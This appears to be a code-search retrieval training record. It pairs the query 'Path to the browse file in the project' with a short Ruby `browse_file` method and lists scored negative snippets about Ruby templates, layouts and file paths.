"def generate_layout(title, theme_root)\n layout_config_loc = theme_root + '/layouts/layouts.json'\n title_naming = LiveEditor::CLI::naming_for(title)\n\n say \"Creating a new Live Editor layout titled \\\"#{title_naming[:title]}\\\"...\"\n say ' append layouts/layouts.json'\n\n # If the layout's config file is already there, append new\n # layout to it.\n if File.exist?(layout_config_loc)\n begin\n layout_config = JSON.parse(File.read(layout_config_loc))\n rescue Exception => e\n say 'The file at layouts/layout.json does not have valid JSON markup.', :red\n return\n end\n\n layout_config['layouts'] << {\n title: title_naming[:title]\n }\n\n File.open(layout_config_loc, 'w+') do |f|\n f.write(JSON.pretty_generate(layout_config))\n f.write(\"\\n\")\n end\n # If we don't yet have a layouts.json file, create it and add\n # the new layout to it.\n else\n new_layout = {\n layouts: [\n {\n title: title_naming[:title]\n }\n ]\n }\n\n File.open(layout_config_loc, 'w+') do |f|\n f.write(JSON.pretty_generate(new_layout))\n f.write(\"\\n\")\n end\n end\n\n # Create new Liquid file.\n copy_file('generate/layout.liquid', \"layouts/#{title_naming[:var_name]}_layout.liquid\")\n end",
"def assemble_template body_file\n body = body_file.read\n return body if body =~ /<html/\n\n head_file = @template_dir + '_head.rhtml'\n footer_file = @template_dir + '_footer.rhtml'\n\n <<-TEMPLATE\n<!DOCTYPE html>\n\n<html>\n<head>\n#{head_file.read}\n\n#{body}\n\n#{footer_file.read}\n TEMPLATE\n end",
"def default_layout\n @default_layout ||= (\n IO.read(LIBDIR + \"/templates/layouts/page.mustache\")\n )\n end",
"def template\n File.read(File.expand_path('../../../../templates/violations.md.mustache', __FILE__))\n end",
"def layout_file_name\n layout = \"application\"\n fail unless Content::Aggregator.original_content\n prepare_layout(layout)\n end",
"def global_template_data\n {'__design_id' => @stylesheet.design_id}\n end",
"def template\n @template ||= File.read(template_full_path)\n end",
"def call(options = {})\n options = {\n layout: :application,\n page: :index\n }.update(options)\n\n options.tap do |opts|\n opts[:item] = \"app/views/layouts/#{opts[:layout]}.slim\"\n opts[:key] = opts[:page]\n opts[:content] = opts[opts[:key]]\n Services::Site::ProcessTemplate.call opts\n end\n end",
"def _render_layout_for( res )\n return unless res.layout\n lyt = Resources.layouts.find :filename => res.layout\n return if lyt.nil?\n\n _track_rendering(lyt.path) {\n @content = Filters.process(\n self, lyt, ::Webby::Resources::File.read(lyt.path))\n _render_layout_for(lyt)\n }\n end",
"def template_page(site); end",
"def template\n @template ||= Template.new name: script_name, out_file: root_ruby_file, type: type\n end",
"def create\n @layout_template = LayoutTemplate.new(params[:layout_template])\n\n render :update do |page|\n if @layout_template.save\n page.insert_html :bottom, \"layout_templates\", :partial => \"layout_templates/row_form\",\n :locals =>{ :layout_template => @layout_template, :counter => (LayoutTemplate.count + 1) }\n# page.replace \"\"\n end\n end\n end",
"def content_for_layout(name, content) # no blocks allowed yet\n @_content_for_layout ||= {}\n if @_content_for_layout[name].respond_to?(:<<)\n @_content_for_layout[name] << ' ' << content\n else\n @_content_for_layout[name] = content\n end\n end",
"def render\n ERB.new(File.read(TEMPLATE), 0, \">\").result(binding)\n end",
"def render_all_layouts(layouts, payload, info); end",
"def erb(template, options = {}, locals = {})\n template = template.to_sym\n options[:layout] = options[:layout].present? ? options[:layout] : !request.xhr?\n \n super\n end",
"def template(_template_name)\n \"This is a dummy template! <%= dummy %> \\n \"\\\n 'Here is a global value <%= dummy_global %>'\n end",
"def determine_layout\r\n #\"earthlingtwo/earthlingtwo\"\r\n \"#{template_name}/#{template_name}\"\r\n end",
"def determine_template(options); end",
"def default_data_for_template(name)\n {\n :name => name,\n :version => '0.0.1',\n :summary => \"A short description of #{name}.\",\n :homepage => \"http://EXAMPLE/#{name}\",\n :author_name => Executable.capture_command('git', %w(config --get user.name), :capture => :out).first.strip,\n :author_email => Executable.capture_command('git', %w(config --get user.email), :capture => :out).first.strip,\n :source_url => \"http://EXAMPLE/#{name}.git\",\n :ref_type => ':tag',\n :ref => '#{spec.version}',\n }\n end",
"def template(reporttype, reportname, authorlist, emaillist, group, address,\n revdate, revnumber, docdate, description, legal, encoding, toc)\n \n sampledoc = <<-TEMPLATE\n:reporttype: #{reporttype || 'The type of report'}\n:reporttitle: #{reportname || 'The name of the report'}\n:author: #{authorlist || 'Author McList, Authorette OName'}\n:email: #{emaillist || '[email protected], [email protected]'}\n:group: #{group || 'Marketing? Research? Edit me...'}\n:address: #{address || 'Company Address....'}\n:revdate: #{revdate || 'January 1, 2012'}\n:revnumber: #{revnumber || '0.0.1'}\n:docdate: #{docdate || 'January 1, 2012'}\n:description: #{description || 'Barebones Sample Document'}\n:legal: #{legal || '(C) Copyrighted by who?'}\n:encoding: #{encoding || 'iso-8859-1'}\n:toc: #{toc || 'true'}\n\n<<<\n== Introduction ==\nHi This is an introduction!\nTEMPLATE\n return sampledoc\n end",
"def write_page\n contents = [people,projects,events].inject({}) { |x,y| x.merge(y) }\n File.open('index.html','w') do |f|\n f.write(@template.render(contents))\n end\n end",
"def template_for file, page = true, klass = ERB\n template = @template_cache[file]\n\n return template if template\n\n if page then\n template = assemble_template file\n erbout = 'io'\n else\n template = file.read\n template = template.encode @options.encoding\n\n file_var = File.basename(file).sub(/\\..*/, '')\n\n erbout = \"_erbout_#{file_var}\"\n end\n\n if RUBY_VERSION >= '2.6'\n template = klass.new template, trim_mode: '-', eoutvar: erbout\n else\n template = klass.new template, nil, '-', erbout\n end\n @template_cache[file] = template\n template\n end",
"def initialize(site, base, index_files, dir, data, name, title, template, extension, defaults = {})\n @site = site\n @base = base\n\n # @dir is the directory where we want to output the page\n # @name is the name of the page to generate\n #\n # the value of these variables changes according to whether we\n # want to generate named folders or not\n if data[name] == nil\n puts \"error (datapage_gen). empty value for field '#{name}' in record #{data}\"\n else\n filename = sanitize_filename(data[name]).to_s\n\n @dir = dir + (index_files ? \"/\" + filename + \"/\" : \"\")\n @name = (index_files ? \"index\" : filename) + \".\" + extension.to_s\n\n self.process(@name)\n self.read_yaml(File.join(base, '_layouts'), template + \".html\")\n\n # original method to set page title to data[name]\n # self.data['title'] = data[name]\n\n if title\n self.data['title'] = data[title]\n elsif data['publiccode'] && data['publiccode']['name']\n self.data['title'] = data['publiccode']['name'] + ' - ' + defaults['title_suffix']\n else\n self.data['title'] = data[name]\n end\n\n self.data.merge!(defaults)\n # add all the information defined in _data for the current record to the\n # current page (so that we can access it with liquid tags)\n self.data.merge!(data)\n end\n end",
"def load_data(site)\n self.read_yaml(File.join(@base, '_layouts'), @template)\n self.data['title'] = @resource.iri\n self.data['rdf'] = @resource\n self.data['template'] = @template\n if([email protected]?)\n self.data['sub_rdf'] = @resource.subResources.values\n self.data['sub_rdf'].each { |res|\n res.page = self\n res.site = site\n }\n end\n end",
"def layout(layout_type)\n\t\t#most content. that is loaded into the artist content area (just content)\n\t\tif layout_type.nil? || layout_type.blank?\n\t\t\t@layout = false\n\t\t\t@hook = \"#content\"\n\t\t#when artist page has to be loaded (logo, nave and content)\n\t\telsif layout_type == \"artist\"\n\t\t\t@layout = \"layouts/artist_admin_and_artist_floating_content.html.erb\"\n\t\t\t@hook = \".dynamicContent\"\n\t\tend\n\tend",
"def loadTemplate\n\t\t@template = File.read(@templateFile)\n\tend",
"def loadTemplate\n\t\t@template = File.read(@templateFile)\n\tend",
"def render_epub_layouts\n FileList.new(\"#{@LAYOUT_DIR}/epub/**/*.erb\").each do |layout|\n filename = layout.pathmap(\"%{^#{@LAYOUT_DIR},#{@BUILD_DIR}}X\")\n path = filename.pathmap('%d')\n\n FileUtils.mkpath(path) unless File.exists? path\n\n template = ERB.new(File.read(layout), nil, '-')\n File.open(filename, 'w+') do |handle|\n handle.write template.result(binding)\n end\n end\n\n FileList.new(\"#{@LAYOUT_DIR}/html/**/*.erb\").each do |layout|\n filename = layout.pathmap(\"%{^#{@LAYOUT_DIR},#{@BUILD_DIR}}X\")\n path = filename.pathmap('%d')\n\n FileUtils.mkpath(path) unless File.exists? path\n\n template = ERB.new(File.read(layout), nil, '-')\n File.open(filename, 'w+') do |handle|\n handle.write template.result(binding)\n end\n end\n end",
"def template_data_format(data)\n data = data.to_smash\n Smash.new.tap do |result|\n result[:config] = data.fetch(:config, Smash.new)\n result[:imports] = data.fetch(:imports, []).map do |item|\n begin\n Smash.new(\n :name => item[:name],\n :content => YAML.load(item[:content])\n )\n rescue\n item\n end\n end\n if(result.get(:config, :content))\n result[:config][:content] = YAML.load(result[:config][:content]) || Smash.new\n else\n result[:config][:content] = Smash.new\n end\n end\n end",
"def fill_template\n @log.debug(\"Reading erb template from file: '#{@template}'.\")\n erb = ERB.new(File.read(@template), nil, '-')\n erb.filename = @template\n erb.result(binding)\n end",
"def hash_template\n template = {}\n \n info.each do | key, value |\n template[key] = generate_structure( value )\n end\n \n template\n end",
"def layout_path\n File.join( \"t#{self.theme_id}_r#{self.id}\", template_theme.file_name( \"ehtml\" ))\n end",
"def serializable_data\n template = self.class.find(self.id,:include=>[:param_values,:page_layout=>:full_set_nodes])\n hash ={:template=>template, :param_values=>template.param_values, :page_layouts=>template.page_layout.full_set_nodes,\n :template_files=>template.template_files,:template_releases=>template.template_releases\n } \n hash \n end",
"def view_template(source, *args, &block)\n config = args.last.is_a?(Hash) ? args.pop : {}\n destination = args.first || source.sub(/\\.tt$/, '')\n \n source = File.expand_path(source.to_s)\n context = instance_eval('binding')\n \n create_file destination, nil, config do\n content = ERB.new(::File.binread(source), nil, '-', '@output_buffer').result(context)\n content = block.call(content) if block\n content\n end\n end",
"def render\n template = ERB.new File.new(@template_path).read, nil, \"%\"\n template.result(binding)\n end",
"def generate\n template = Template.new\n template.add('timestamp', Time.now.to_s)\n template.add('lib_dir', @lib_dir)\n template.add('bin_dir', @bin_dir)\n template.parse(TEMPLATE)\n end",
"def default_data_for_template(name)\n data = {}\n data[:name] = name\n data[:version] = '0.0.1'\n data[:summary] = \"A short description of #{name}.\"\n data[:homepage] = \"http://EXAMPLE/#{name}\"\n data[:author_name] = `git config --get user.name`.strip\n data[:author_email] = `git config --get user.email`.strip\n data[:source_url] = \"http://EXAMPLE/#{name}.git\"\n data[:ref_type] = ':tag'\n data[:ref] = '0.0.1'\n data\n end",
"def default_data_for_template(name)\n data = {}\n data[:name] = name\n data[:version] = '0.0.1'\n data[:summary] = \"A short description of #{name}.\"\n data[:homepage] = \"http://EXAMPLE/#{name}\"\n data[:author_name] = `git config --get user.name`.strip\n data[:author_email] = `git config --get user.email`.strip\n data[:source_url] = \"http://EXAMPLE/#{name}.git\"\n data[:ref_type] = ':tag'\n data[:ref] = '0.0.1'\n data\n end",
"def generate(site)\n # page_gen_dirs determines whether we want to generate index pages\n # (name/index.html) or standard files (name.html). This information\n # is passed to the DataPage constructor, which sets the @dir variable\n # as required by this directive\n index_files = site.config['page_gen-dirs'] == true\n\n # data contains the specification of the data for which we want to generate\n # the pages (look at the README file for its specification)\n data = site.config['page_gen']\n if data\n data.each do |data_spec|\n index_files_for_this_data = data_spec['index_files'] != nil ? data_spec['index_files'] : index_files\n template = data_spec['template'] || data_spec['data']\n name = data_spec['name']\n title = data_spec['title']\n dir = data_spec['dir'] || data_spec['data']\n extension = data_spec['extension'] || \"html\"\n\n if site.layouts.key? template\n # records is the list of records defined in _data.yml\n # for which we want to generate different pages\n records = nil\n data_spec['data'].split('.').each do |level|\n if records.nil?\n records = site.data[level]\n else\n records = records[level]\n end\n end\n\n # apply filtering conditions:\n # - filter requires the name of a boolean field\n # - filter_condition evals a ruby expression\n records = records.select { |r| r[data_spec['filter']] } if data_spec['filter']\n records = records.select { |record| eval(data_spec['filter_condition']) } if data_spec['filter_condition']\n\n records.each do |record|\n site.pages << DataPage.new(site, site.source, index_files_for_this_data, dir, record, name, title, template, extension, data_spec['defaults'])\n end\n else\n puts \"error (datapage_gen). could not find template #{template}\" if not site.layouts.key? template\n end\n end\n end\n end",
"def wrap_layout(layout_name, &block)\n # Save current buffer for later\n buf_was = save_buffer\n\n # Find a layout for this file\n layout_file = ::Middleman::TemplateRenderer.locate_layout(@app, layout_name, current_engine)\n\n # Get the layout engine\n extension = File.extname(layout_file[:relative_path])\n engine = extension[1..-1].to_sym\n\n # Store last engine for later (could be inside nested renders)\n self.current_engine = engine\n engine_was = current_engine\n\n # By default, no content is captured\n content = ''\n\n # Attempt to capture HTML from block\n begin\n content = capture_html(&block) if block_given?\n ensure\n # Reset stored buffer, regardless of success\n restore_buffer(buf_was)\n end\n\n # Render the layout, with the contents of the block inside.\n concat_safe_content render_file(layout_file, @locs, @opts) { content }\n ensure\n # Reset engine back to template's value, regardless of success\n self.current_engine = engine_was\n end",
"def place_in_layouts(content, payload, info)\n output = content.dup\n layout = layouts[document.data[\"layout\"].to_s]\n validate_layout(layout)\n\n used = Set.new([layout])\n\n # Reset the payload layout data to ensure it starts fresh for each page.\n payload[\"layout\"] = nil\n\n while layout\n output = render_layout(output, layout, info)\n add_regenerator_dependencies(layout)\n\n next unless (layout = site.layouts[layout.data[\"layout\"]])\n break if used.include?(layout)\n\n used << layout\n end\n output\n end"
] | [
"0.6997361",
"0.67198944",
"0.67088735",
"0.6704546",
"0.66211927",
"0.6575901",
"0.647485",
"0.639517",
"0.6370739",
"0.6320471",
"0.629727",
"0.62776285",
"0.62680995",
"0.623344",
"0.62254375",
"0.62193334",
"0.6199515",
"0.6190676",
"0.6162726",
"0.61603975",
"0.61348367",
"0.6125117",
"0.60581225",
"0.60519505",
"0.6034666",
"0.6003229",
"0.5978579",
"0.59647626",
"0.5953351",
"0.59379715",
"0.5936292",
"0.5889045",
"0.58858883",
"0.5878558",
"0.5866102",
"0.5857042",
"0.58446693",
"0.58429956",
"0.5841616",
"0.584065",
"0.58376145",
"0.58165634",
"0.5815201",
"0.5804095",
"0.57911414",
"0.57911414",
"0.579107",
"0.579107",
"0.579107",
"0.579107",
"0.579107",
"0.579107",
"0.579107",
"0.5782058",
"0.57767564",
"0.5772137",
"0.5771084",
"0.5771048",
"0.57611185",
"0.5755615",
"0.57541054",
"0.57463735",
"0.5741278",
"0.5738945",
"0.57297397",
"0.57198876",
"0.57188654",
"0.5712848",
"0.57105595",
"0.57089186",
"0.56917787",
"0.5665178",
"0.5654345",
"0.56455123",
"0.56417674",
"0.56289387",
"0.5627998",
"0.5627241",
"0.56228274",
"0.5612076",
"0.56060016",
"0.56001115",
"0.5597995",
"0.5596199",
"0.5593659",
"0.5593659",
"0.5593082",
"0.5589318",
"0.5585531",
"0.5574604",
"0.55733514",
"0.55672234",
"0.5566606",
"0.5563488",
"0.5562108",
"0.5559071",
"0.5559071",
"0.5556476",
"0.5552695",
"0.5550991"
] | 0.73471045 | 0 |
Path to the template browse file | def template_file(file)
File.join(
MiGA::MiGA.root_path,
'lib', 'miga', 'cli', 'action', 'browse', file
)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def template_path\n File.expand_path('../templates', __FILE__)\n end",
"def template_path\n File.expand_path(File.join(File.dirname(__FILE__), \"template.rb\"))\n end",
"def full_path\n \"templates/#{filename}\"\n end",
"def template_path\n \"#{template_dir}/#{template_name}\"\n end",
"def template_path\n File.join path, 'templates'\n end",
"def pathTemplates\n \"./templates/\"\nend",
"def template_path\n @options[:template_path]\n end",
"def template_path(template)\n File.join(@root, 'templates', self.class::FILES[template])\n end",
"def templates_path\n File.join(root, TEMPLATES)\n end",
"def path(file)\n File.join File.dirname(__FILE__), '../../templates/', file\n end",
"def template_path(extension)\n File.expand_path('../../../views/renderers/' + @dirname + '/' + @placeholder + '.' + extension, __FILE__)\n end",
"def full_template_path\n template_root.join(\"#{@template}.erb\").to_s.squeeze(\"/\")\n end",
"def template_path\n File.join(File.dirname(__FILE__), 'templates', 'type', \"#{@format}.erb\")\n end",
"def template_path(filename)\n File.join(PatienceDiff::TEMPLATE_PATH, filename)\n end",
"def templates_path\n @templates_path\n end",
"def template_path\n File.expand_path(File.join('..', '..', '..', 'templates', \"#{template_name}.erb\"), __FILE__)\n end",
"def template_path\n return File.join(File.dirname(__FILE__), \"../../../templates\", platform)\n end",
"def template_path() 'demo/admin/billing.erb' end",
"def file_path( target )\n File.join(template_theme.website.path, self.path, template_theme.file_name(target))\n end",
"def template_path()\n 'demo/auth/signup.erb'\n end",
"def template_path\n exact_path = File.join(root, request.path)\n with_erb = File.join(root, \"#{request.path}.html.erb\")\n with_index = File.join(root, File.dirname(request.path), 'index.html.erb')\n\n [ exact_path, with_erb, with_index ].find { |f| File.file?(f) }\n end",
"def template_file\n File.join(Asciimeme.template_dir, \"#{meme_name}.erb\")\n end",
"def template_path\n @default_options.fetch(:template_path, nil)\n end",
"def file_path\n 'index.html'\n end",
"def scaffold_path(template_name)\n File.join(scaffold_template_dir, template_name+'.rhtml')\n end",
"def template_base_path\n @template_base_path ||= Inkblot.vendor_path('templates')\n end",
"def templates_path\n File.join(File.dirname(__FILE__), '..', 'templates')\n end",
"def template_path\n @template_path ||= @env[:templates_path] || default_settings[:templates_path]\n Pathname.new @template_path\n end",
"def template_load_path\n @template_load_path ||= File.expand_path(File.dirname(self.filename))\n end",
"def render_file_path(template)\n template.gsub(%r{.templates/.*?erb}, File.basename(template)).gsub('.erb', '')\n end",
"def template_dir\n Templates.path_for(template_dir_name)\n end",
"def template_path\n path = File.expand_path File.join(@template_options[CONFIG_PATH], @template_options[TEMPLATE_NAME])\n # TODO fix and throw some sort of cool exception\n if !File.exists? path\n path = nil\n end\n return path\n end",
"def template_path(name)\n name = name.to_s\n if name.include?('/') # Specific path like 'representers/somethingorother/foo.haml' given.\n name\n else\n File.join(self.class.representer_path, name)\n end\n end",
"def template_path(template, node)\n cookbook_name = template.cookbook || template.cookbook_name\n cookbook = node.cookbook_collection[cookbook_name]\n cookbook.preferred_filename_on_disk_location(node, :templates, template.source)\nend",
"def templates_path\n File.join((File.expand_path '..', File.dirname(__FILE__)), 'templates')\n end",
"def real_path(filename)\n File.join TEMPLATES_DIR, filename\n end",
"def template_path\n @template_path ||= Rails.root.join('app', 'assets', 'javascripts', 'templates')\n # @template_path ||= Rails.root.join('app', 'handlebars', 'templates')\n end",
"def template_filepath(filename)\n filepath = File.join(File.dirname(__FILE__), \"coreos/#{filename}.erb\")\n end",
"def template(name)\n File.join TemplatePath, \"#{name}.rb\"\nend",
"def template(*path); end",
"def template_full_path\n @template_full_path ||= [template_base_path, template_filename].join('/')\n end",
"def template_file_name\n File.join(['structure', \"views\", \"#{controller_name}.html\"])\n end",
"def template_file\n @template_file || \"#{path}/#{template_name}.#{template_extension}\"\n end",
"def template_path()\n 'admin/billing.erb'\n end",
"def browse_file(p, file)\n File.join(p.path, 'browse', file)\n end",
"def template_path()\n 'auth/signup.erb'\n end",
"def local_template(path)\n # Is there a better way to specify alternate template locations with sinatra?\n File.read(File.join(File.dirname(__FILE__), \"server/views/#{path}\"))\n end",
"def template_path(path)\n # Add a new template extension here if we need to.\n [ 'haml', 'erb' ].each do |template_extension|\n if path.directory? && (path + \"index.html.#{template_extension}\").file?\n return \"#{path}/index\"\n elsif (path.dirname + (path.basename.to_s + \".html.#{template_extension}\")).file?\n return path.dirname + path.basename.to_s\n end\n end\n nil\n end",
"def path_to_template name\n \"#{JSPEC_ROOT}/templates/#{name}/.\"\n end",
"def get_template_file\n @config['template']\n end",
"def file_path( target )\n # theme.site do not work.\n File.join( original_template_theme.store.path, self.path, file_name(target))\n end",
"def local_template(path)\n # Is there a better way to specify alternate template locations with sinatra?\n File.read(File.join(File.dirname(__FILE__), \"server/views/#{path}\"))\n end",
"def pathname\n \"public/themes/#{self.directory_name}/#{self.template_filename}\"\n end",
"def template_path(template, opts)\n t = template.to_s\n if (v = @_view_subdir) && t !~ /\\//\n template = \"#{v}/#{t}\"\n end\n super\n end",
"def path_template\n\t\t\t\[email protected][@path_spec]\n\t\t\tend",
"def view_path\n File.join path, 'views'\n end",
"def template_dir\n 'app/views/'\n end",
"def template_dir\n File.dirname(__FILE__) + '/../cfg'\n end",
"def get_template_file(file)\n File.join(File.dirname(__FILE__), 'templates', file)\n end",
"def file_path( target )\n # theme.site do not work.\n File.join(page_layout.site.path, self.path, file_name(target)) \n end",
"def input_view_file\n \"#{self.form_files_dir}/date.html.erb\"\n end",
"def template_path\n Jets::Naming.api_gateway_template_path\n end",
"def template_path\n Jets::Naming.api_gateway_template_path\n end",
"def templates() = templates_path.glob('**/*.erb')",
"def render_path\n @render_path ||= generate_file_name(@site.config[\"url\"], @site.config[\"baseurl\"])\n end",
"def base_template_path\n File.join(Rails.root, 'config', 'default_data', 'master-template.xlsx')\n end",
"def index_path\n return templates_path\n end",
"def template(template_name = 'template.txt')\n File.read([File.dirname(__FILE__), template_name].join('/'))\n end",
"def template_dir\n self.class.name.underscore\n end",
"def full_path\n path + \"/#{@action}.html.erb\"\n end",
"def template_path( *fns )\n TDP.application.add_template_path(files: fns, freeze: false)\n end",
"def templates_path\n expanded_path_for('/generators')\nend",
"def template_path_from view, options\n template = view.find_template tentative_template_path(options)\n \n template && template.path\n end",
"def template_dir\n File.join(PREFIX, 'share', 'oswitch', 'context')\n end",
"def resource_template_dir\n \"#{App.config.resource_directory}/templates\"\n end",
"def layout_path\n File.join( \"t#{self.theme_id}_r#{self.id}\", template_theme.file_name( \"ehtml\" ))\n end",
"def template_filepath(filename)\n raise ProjectRazor::Error::Slice::InternalError, \"must provide esxi version.\" unless @osversion\n filepath = File.join(File.dirname(__FILE__), \"esxi/#{@osversion}/#{filename}.erb\")\n end",
"def erb_path\n \"#{File.dirname(__FILE__)}/markdown_doc.erb\"\n end",
"def template_name\n self.path.scan(/[^\\/]+$/).first\n end",
"def file\n \"#{@request.path_info}.html\".gsub(/\\/\\./, 'index.')\n end",
"def template_path\n \n custom_path = File.expand_path(\"./config/deploy/templates/unicorn.service.erb\")\n original_path = File.expand_path(\"../templates/unicorn.service.erb\", __FILE__)\n \n File.exist?(custom_path) ? custom_path : original_path\n end",
"def path\n http_url @store.rdoc.generator.file_dir\n end",
"def path\n # self.id is not accurate, it may use imported theme of design site.\n # on other side, design site may release template first time. current_template_release = nil\n if self.current_template_release.present?\n File.join( File::SEPARATOR+'layouts', \"t#{self.current_template_release.theme_id}_r#{self.release_id}\")\n else\n File.join( File::SEPARATOR+'layouts', \"t#{self.id}_r#{self.release_id}\")\n end\n end",
"def path\n # self.id is not accurate, it may use imported theme of design site.\n # on other side, design site may release template first time. current_template_release = nil\n if self.current_template_release.present?\n File.join( File::SEPARATOR+'layouts', \"t#{self.current_template_release.theme_id}_r#{self.release_id}\")\n else\n File.join( File::SEPARATOR+'layouts', \"t#{self.id}_r#{self.release_id}\")\n end\n end",
"def find_template(name)\n \n # Search in theme path\n template_path = Themes::ThemeManager.instance.selected_theme.resource_path(\"#{name}.erb\",'template','ui') \n \n # Search in the project\n if not template_path\n path = app.get_path(name) #File.expand_path(File.join(File.dirname(__FILE__), '..', 'views', \"#{name}-fieldset-render.erb\")) \n template_path = path if File.exist?(path)\n end\n \n template_path\n \n end",
"def template_path(name)\n File.join(__dir__, 'config', \"#{name}.yml.erb\")\n end",
"def path\n File.join( File::SEPARATOR+'layouts', \"t#{self.theme_id}_r#{self.id}\")\n end",
"def templates_dir\n return File.join(File.dirname(__FILE__), 'server/templates')\n end",
"def templates_dir\n return File.join(File.dirname(__FILE__), 'server/templates')\n end",
"def compiled_template_path\n return nil if object.source.blank?\n object.source.filesystem_name + \"/templates/\" + object.perspective.gsub(\" \", \"\").underscore\n end",
"def view_file(type)\n if (type == :html)\n \"#{DirMap.html_views}/entries/cv.html.erb\"\n else\n \"#{DirMap.html_views}/entries/cv.html.erb\"\n end\n end",
"def template\n @template ||= File.read(template_full_path)\n end",
"def path\n end",
"def template\n Pathname.new(@template || OodPortalGenerator.root.join(\"templates\", \"ood-portal.conf.erb\"))\n end",
"def template_for(file); end",
"def html_template(path)\n @template_path = if path_is_a_template?(path)\n expanded_path(path)\n else\n File.join(template_dir, 'exception_details.html.erb')\n end\n end",
"def view_path(file_name)\n File.join(\"app\", \"views\", \"#{self.class.name.gsub(\"Controller\",\"\").downcase}\", file_name)\n end",
"def template\n Pathname.new(@template || OodPortalGenerator.root.join('templates', 'ood-portal.conf.erb'))\n end",
"def template_path(template_name, target_name=template_name.chomp('.erb'), mode=0600, locals={'attrs' => attrs})\r\n _package_.build_template(target_name, template_name, mode, locals)\r\n target_path target_name\r\n end",
"def templates_dir\n \"#{RdocInfo.config[:templates_dir]}\"\n end"
] | [
"0.7515096",
"0.7345798",
"0.72823894",
"0.7268778",
"0.72396916",
"0.7000569",
"0.6968479",
"0.6914573",
"0.69109267",
"0.6904416",
"0.6890691",
"0.68772614",
"0.6826309",
"0.6808136",
"0.6794476",
"0.67501146",
"0.6747688",
"0.6718692",
"0.66853267",
"0.6671208",
"0.66488403",
"0.6615804",
"0.65964144",
"0.6585768",
"0.65806246",
"0.65720546",
"0.6565497",
"0.6552496",
"0.6548049",
"0.65430415",
"0.6520636",
"0.65116346",
"0.65053415",
"0.6499943",
"0.64984983",
"0.64963454",
"0.6486881",
"0.6484299",
"0.6478611",
"0.6477669",
"0.64359635",
"0.6432313",
"0.64256144",
"0.6424117",
"0.64105743",
"0.63940233",
"0.6393997",
"0.6369245",
"0.6360649",
"0.6353611",
"0.63245934",
"0.63124454",
"0.6310737",
"0.6304908",
"0.6301889",
"0.6294087",
"0.6292241",
"0.6262276",
"0.62503237",
"0.62455916",
"0.6208799",
"0.62021923",
"0.62021923",
"0.61987376",
"0.6195121",
"0.6187426",
"0.6185215",
"0.61801094",
"0.6169734",
"0.61634356",
"0.6160027",
"0.6113761",
"0.61106205",
"0.60859454",
"0.60824126",
"0.6075233",
"0.60582227",
"0.60569024",
"0.60567665",
"0.6049252",
"0.60486287",
"0.601702",
"0.60134196",
"0.60134196",
"0.60032636",
"0.5990305",
"0.5985695",
"0.59754455",
"0.59754455",
"0.5975353",
"0.59675163",
"0.5960334",
"0.59513426",
"0.59495896",
"0.59484845",
"0.59480083",
"0.59427696",
"0.59393555",
"0.5938227",
"0.59373045"
] | 0.7424156 | 1 |
Path to the browse file in the project | def browse_file(p, file)
File.join(p.path, 'browse', file)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def path\n project\n end",
"def code_browse path\n dr = ruby_renderer\n view(path, :close_key => 'q', :title => $0) do |t|\n t.renderer dr\n t.bind_key([?\\\\,?\\\\,?o],'choose file') { \n str = choose_file \"**/*\"\n if str and str != \"\"\n t.add_content str\n t.buffer_last\n else\n alert \"nothing chosen\"\n end\n }\n end\n end",
"def path\n @file\n end",
"def browse_path\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"\" ] if browse_everything_controller2_debug_verbose\n rv = params[:path] || ''\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"browse_path rv=#{rv}\",\n \"\" ] if browse_everything_controller2_debug_verbose\n rv\n end",
"def path\n end",
"def path\n @file\n end",
"def path\n File.join(self.drive.path, self.relative_path)\n end",
"def path\n @path ||= @project.dir.path\n end",
"def file_path\n 'index.html'\n end",
"def path\n @file.path\n end",
"def relativeWebPath()\n return File.join('/', @@tracksDir, \"#{self.fileName}#{self.fileType}\")\n end",
"def file\n File.join(root, FILENAME)\n end",
"def path\n file.url\n end",
"def path\n File.join(self.folder, self.filename)\n end",
"def fullpath\n File.expand_path( @file )\n end",
"def current_file_path\n current_file.to_path\n end",
"def template_file(file)\n File.join(\n MiGA::MiGA.root_path,\n 'lib', 'miga', 'cli', 'action', 'browse', file\n )\n end",
"def path\n @path ||= File.join(folder,\".xHF#{name}\")\n end",
"def path\n ::File.join(@folder, @file)\n end",
"def get_project_path\n return File.absolute_path File.join(root_dir, src)\n end",
"def path\n @file.path\n end",
"def path\n File.join @proj_path_base, @proj_filename\n end",
"def path\n File.join(@base, @name)\n end",
"def path\n File.join Dubya.root_path, 'vendor/wiki'\n end",
"def project_path\n \"#{Dir.home}/viewcumber/\"\nend",
"def path()\n return ::File.join(@root, @name)\n end",
"def relative_path; end",
"def relative_path; end",
"def relative_path; end",
"def relative_path; end",
"def relative_path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def path; end",
"def filepath\n @filepath\n end",
"def filepath\n @filepath\n end",
"def filepath\n @filepath\n end",
"def file_path\n dir\n end",
"def file_path\n\t\tself.class.file_path\n\tend",
"def show_browse_form(p_starting_path = nil)\n\t\t\n\t\t\t# If available as argument, select the path within the Tree View\n\t\t\t@dir_browse_ui.select_path(p_starting_path) unless p_starting_path.nil?\n\t\t\n\t\t\t# Show Browse form\n\t\t\t@dir_browse_form.show\n\t\t\t@dir_browse_form.activateWindow\t\t\n\t\tend",
"def project_file(fname)\n \"#{@project_path}/#{fname}\"\nend",
"def source_path; end",
"def file_path; end",
"def file_path( target )\n # theme.site do not work.\n File.join(page_layout.site.path, self.path, file_name(target)) \n end",
"def path\n File.join(@base, @name)\n end",
"def path\n @path\n end",
"def path\n @path\n end",
"def path\n @path\n end",
"def path\n @path\n end",
"def file_path\n end",
"def path\n @filename\n end",
"def files_path\n File.expand_path(\"#{Config.project_root}/files\")\n end",
"def relative_path\n name\n end",
"def path\n end",
"def path\n end",
"def path\n end",
